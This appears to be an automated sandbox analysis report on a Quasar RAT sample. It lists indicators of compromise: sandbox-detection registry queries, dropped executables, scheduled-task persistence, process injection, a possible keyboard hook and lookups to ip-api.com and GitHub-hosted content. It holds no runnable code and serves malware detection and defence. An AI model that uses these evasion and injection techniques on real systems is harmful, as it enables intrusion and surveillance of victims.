quasar | 670312cec4a49d69d5f23f1ef68dbe6a6f3bebb20efe6d13425016025b2f0b34

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 3 IoCs

pid	Process
3896	Client.exe
3576	install.exe
644	install.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
28	raw.githubusercontent.com
20	raw.githubusercontent.com
21	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	ip-api.com

Drops file in System32 directory 11 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\SubDir\Client.exe	Uni.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\SysWOW64\SubDir\Client.exe	Uni.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\V01.chk	DllHost.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4360 set thread context of 1228	4360	powershell.EXE	100
PID 684 set thread context of 756	684	powershell.EXE	101

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4980	SCHTASKS.exe
1752	schtasks.exe
4864	schtasks.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715324801"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe

Modifies registry class 20 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\58a9de21-2b51-4aaf- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000bfb15d67a8a2da017c65d668a8a2da017c65d668a8a2da01530400000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000aa58a7382000363163653138323735346362303533373832643339636338393031323863626164613834616436633736343063366261306335343131363564363430376135340000b20009000400efbeaa58a738aa58a7382e000000000000000000000000000000000000000000000000005f0fb800360031006300650031003800320037003500340063006200300035003300370038003200640033003900630063003800390030003100320038006300620061006400610038003400610064003600630037003600340030006300360062006100300063003500340031003100360035006400360034003000370061003500340000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000917adc9a1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c36316365313832373534636230353337383264333963633839303132386362616461383461643663373634306336626130633534313136356436343037613534000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000072696a746f6f7678000000000000000072e9330fb5301f4a9e010962a32a67ec2ac0263d2c0def11a08462c35996caed72e9330fb5301f4a9e010962a32a67ec2ac0263d2c0def11a08462c35996caedce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0032003800300034003100350030003900330037002d0032003100340036003700300038003400300031002d003400310039003000390035003000370031002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000072b368a9000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\58a9de21-2b51-4aaf-	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\58a9de21-2b51-4aaf- = "8324"	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a9aa493c-bba0-4553-	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\58a9de21-2b51-4aaf-	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\ManagedByApp	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\58a9de21-2b51-4aaf-	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\MostRecentlyUsed	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\WasEverActivated = "1"	sihost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\58a9de21-2b51-4aaf- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\58a9de21-2b51-4aaf- = 6ec4e568a8a2da01	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\58a9de21-2b51-4aaf- = "\\\\?\\Volume{A968B372-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\61ce182754cb053782d39cc890128cbada84ad6c7640c6ba0c541165d6407a54"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\58a9de21-2b51-4aaf- = "0"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\CurrentWorkingDirectory	RuntimeBroker.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System	RuntimeBroker.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4360	powershell.EXE
4360	powershell.EXE
684	powershell.EXE
684	powershell.EXE
4360	powershell.EXE
1228	dllhost.exe
1228	dllhost.exe
684	powershell.EXE
1228	dllhost.exe
1228	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe
756	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1136	Uni.exe
Token: SeDebugPrivilege	3896	Client.exe
Token: SeDebugPrivilege	4360	powershell.EXE
Token: SeDebugPrivilege	684	powershell.EXE
Token: SeDebugPrivilege	4360	powershell.EXE
Token: SeDebugPrivilege	1228	dllhost.exe
Token: SeDebugPrivilege	684	powershell.EXE
Token: SeDebugPrivilege	756	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2280	svchost.exe
Token: SeIncreaseQuotaPrivilege	2280	svchost.exe
Token: SeSecurityPrivilege	2280	svchost.exe
Token: SeTakeOwnershipPrivilege	2280	svchost.exe
Token: SeLoadDriverPrivilege	2280	svchost.exe
Token: SeSystemtimePrivilege	2280	svchost.exe
Token: SeBackupPrivilege	2280	svchost.exe
Token: SeRestorePrivilege	2280	svchost.exe
Token: SeShutdownPrivilege	2280	svchost.exe
Token: SeSystemEnvironmentPrivilege	2280	svchost.exe
Token: SeUndockPrivilege	2280	svchost.exe
Token: SeManageVolumePrivilege	2280	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2280	svchost.exe
Token: SeIncreaseQuotaPrivilege	2280	svchost.exe
Token: SeSecurityPrivilege	2280	svchost.exe
Token: SeTakeOwnershipPrivilege	2280	svchost.exe
Token: SeLoadDriverPrivilege	2280	svchost.exe
Token: SeSystemtimePrivilege	2280	svchost.exe
Token: SeBackupPrivilege	2280	svchost.exe
Token: SeRestorePrivilege	2280	svchost.exe
Token: SeShutdownPrivilege	2280	svchost.exe
Token: SeSystemEnvironmentPrivilege	2280	svchost.exe
Token: SeUndockPrivilege	2280	svchost.exe
Token: SeManageVolumePrivilege	2280	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2280	svchost.exe
Token: SeIncreaseQuotaPrivilege	2280	svchost.exe
Token: SeSecurityPrivilege	2280	svchost.exe
Token: SeTakeOwnershipPrivilege	2280	svchost.exe
Token: SeLoadDriverPrivilege	2280	svchost.exe
Token: SeSystemtimePrivilege	2280	svchost.exe
Token: SeBackupPrivilege	2280	svchost.exe
Token: SeRestorePrivilege	2280	svchost.exe
Token: SeShutdownPrivilege	2280	svchost.exe
Token: SeSystemEnvironmentPrivilege	2280	svchost.exe
Token: SeUndockPrivilege	2280	svchost.exe
Token: SeManageVolumePrivilege	2280	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2280	svchost.exe
Token: SeIncreaseQuotaPrivilege	2280	svchost.exe
Token: SeSecurityPrivilege	2280	svchost.exe
Token: SeTakeOwnershipPrivilege	2280	svchost.exe
Token: SeLoadDriverPrivilege	2280	svchost.exe
Token: SeSystemtimePrivilege	2280	svchost.exe
Token: SeBackupPrivilege	2280	svchost.exe
Token: SeRestorePrivilege	2280	svchost.exe
Token: SeShutdownPrivilege	2280	svchost.exe
Token: SeSystemEnvironmentPrivilege	2280	svchost.exe
Token: SeUndockPrivilege	2280	svchost.exe
Token: SeManageVolumePrivilege	2280	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2280	svchost.exe
Token: SeIncreaseQuotaPrivilege	2280	svchost.exe
Token: SeSecurityPrivilege	2280	svchost.exe
Token: SeTakeOwnershipPrivilege	2280	svchost.exe
Token: SeLoadDriverPrivilege	2280	svchost.exe
Token: SeSystemtimePrivilege	2280	svchost.exe
Token: SeBackupPrivilege	2280	svchost.exe
Token: SeRestorePrivilege	2280	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3896	Client.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3484	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1136 wrote to memory of 4864	1136	Uni.exe	86
PID 1136 wrote to memory of 4864	1136	Uni.exe	86
PID 1136 wrote to memory of 4864	1136	Uni.exe	86
PID 1136 wrote to memory of 3896	1136	Uni.exe	88
PID 1136 wrote to memory of 3896	1136	Uni.exe	88
PID 1136 wrote to memory of 3896	1136	Uni.exe	88
